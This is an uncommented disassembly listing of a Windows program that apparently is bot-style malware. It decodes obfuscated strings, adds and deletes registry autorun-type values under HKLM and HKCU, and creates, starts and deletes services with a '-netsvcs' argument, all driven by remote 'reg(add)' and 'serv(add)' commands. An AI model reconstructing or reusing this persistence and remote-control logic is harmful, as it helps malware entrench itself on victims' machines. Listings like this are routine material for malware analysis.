		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 29202F8h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 29202F8h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 29202F8h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 29202F8h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 29202F8h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 2920B77h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2930000h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		call	near ptr 27C085Dh
		nop
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		nop
		call	near ptr 2930401h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 29306C8h
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920B77h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28C0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		nop
		call	near ptr 2930401h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 2920755h
		push	esi
		call	near ptr 2920A3Dh
		nop
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920B77h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2930401h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920B77h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28C0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		nop
		call	near ptr 2930401h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2920000h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
